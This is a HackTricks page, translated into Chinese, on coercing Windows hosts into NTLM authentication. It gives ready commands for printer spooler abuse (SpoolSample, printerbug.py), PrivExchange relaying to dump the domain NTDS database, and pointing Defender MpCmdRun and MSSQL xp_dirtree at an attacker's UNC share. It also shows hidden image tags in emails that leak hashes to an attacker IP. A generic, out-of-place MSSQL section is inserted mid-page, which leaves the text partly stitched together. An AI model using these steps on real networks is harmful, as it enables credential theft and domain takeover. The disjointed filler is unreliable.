hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
2023-08-03 19:12:22 +00:00

8.5 KiB
Raw Blame History

强制使用NTLM特权身份验证

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

SharpSystemTriggers

SharpSystemTriggers是一个使用MIDL编译器编写的C#代码的远程身份验证触发器集合,用于避免第三方依赖。

Spooler服务滥用

如果启用了_打印池服务您可以使用一些已知的AD凭据向域控制器的打印服务器请求更新新的打印作业,并告诉它将通知发送到某个系统
请注意,当打印机向任意系统发送通知时,它需要对该系统进行身份验证。因此,攻击者可以使
打印池_服务对任意系统进行身份验证并且该服务将在此身份验证中使用计算机帐户。

在域上查找Windows服务器

使用PowerShell获取Windows机器的列表。服务器通常是优先级较高的所以我们重点关注这些服务器

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

寻找正在监听的打印池服务

使用稍作修改的 @mysmartloginVincent Le TouxSpoolerScanner,查看打印池服务是否正在监听:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

您还可以在Linux上使用rpcdump.py并查找MS-RPRN协议。

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

请求服务对任意主机进行身份验证

您可以从这里编译SpoolSample

SpoolSample.exe <TARGET> <RESPONDERIP>

或者在Linux上使用3xocyte的dementor.pyprinterbug.py

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

结合无限制委派

如果攻击者已经入侵了具有无限制委派的计算机,攻击者可以使打印机对该计算机进行身份验证。由于存在无限制委派,打印机的计算机帐户的TGT将保存在具有无限制委派的计算机的内存中。由于攻击者已经入侵了该主机,他将能够检索此票证并滥用它(传递票证)。

RCP强制身份验证

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

PrivExchange攻击是由于Exchange Server的PushSubscription功能中的一个缺陷而导致的,该功能允许任何具有邮箱的域用户强制Exchange服务器对客户端提供的任何主机进行身份验证

Exchange服务以SYSTEM身份运行,并且默认情况下权限过高在2019年累积更新之前具有对域的WriteDacl权限。可以利用此缺陷来中继到LDAP并转储域NTDS数据库。如果无法中继到LDAP则可以利用此缺陷中继和对域内的其他主机进行身份验证。此攻击将使您直接成为具有任何经过身份验证的域用户帐户的域管理员。

此技术的来源在此。

在Windows内部

如果您已经在Windows机器内部可以使用特权帐户强制Windows连接到服务器

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

MSSQLMicrosoft SQL Server是一种关系型数据库管理系统常用于存储和管理大量数据。它是由微软开发的具有强大的功能和高性能。

MSSQL注入攻击

MSSQL注入攻击是一种常见的网络攻击技术通过利用应用程序对MSSQL数据库的不正确处理攻击者可以执行恶意的SQL查询从而获取敏感数据或者对数据库进行破坏。

MSSQL注入攻击的防御措施

为了防止MSSQL注入攻击可以采取以下措施

  • 使用参数化查询或预编译语句,确保输入的数据被正确地转义和验证。
  • 限制数据库用户的权限,避免使用具有过高权限的账户。
  • 定期更新和修补MSSQL服务器以防止已知的漏洞被利用。
  • 监控数据库的日志,及时发现异常行为并采取相应的应对措施。

MSSQL漏洞利用工具

以下是一些常用的MSSQL漏洞利用工具

  • sqlmap一款功能强大的自动化SQL注入和数据库接管工具。
  • MSSQLPwn一款专门用于MSSQL服务器的渗透测试工具可以执行各种攻击如注入、提权等。
  • Metasploit一款广泛使用的渗透测试框架其中包含了许多用于MSSQL漏洞利用的模块。

MSSQL安全加固建议

为了提高MSSQL服务器的安全性可以采取以下措施

  • 使用强密码保护MSSQL服务器的登录凭证。
  • 禁用不必要的服务和功能,减少攻击面。
  • 定期备份数据库,并将备份文件存储在安全的位置。
  • 使用防火墙限制对MSSQL服务器的访问。
  • 定期审计和监控MSSQL服务器的活动及时发现异常行为。

MSSQL常见漏洞

以下是一些常见的MSSQL漏洞

  • SQL注入漏洞允许攻击者执行恶意的SQL查询从而获取敏感数据或者对数据库进行破坏。
  • 弱密码漏洞使用弱密码保护MSSQL服务器的登录凭证容易被攻击者猜解或暴力破解。
  • 未经授权访问漏洞未正确配置访问控制导致攻击者可以未经授权地访问MSSQL服务器。
  • 未修补漏洞未及时更新和修补MSSQL服务器使得已知的漏洞可以被攻击者利用。

MSSQL安全审计

MSSQL安全审计是一种对MSSQL服务器进行全面检查和评估的过程旨在发现潜在的安全风险和漏洞并提供相应的修复建议。通过进行安全审计可以提高MSSQL服务器的安全性并保护敏感数据免受攻击。

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

或者使用另一种技术:https://github.com/p0dalirius/MSSQL-Analysis-Coerce

HTML注入

通过电子邮件

如果你知道要入侵的机器上登录用户的电子邮件地址你可以发送一封带有1x1像素图片的电子邮件,例如:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

MitM

如果你能对一台计算机进行中间人攻击并在他可视化的页面中注入HTML你可以尝试在页面中注入如下图像

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

破解NTLMv1

如果你能够捕获NTLMv1挑战请阅读这里如何破解它们
请记住为了破解NTLMv1你需要将Responder挑战设置为"1122334455667788"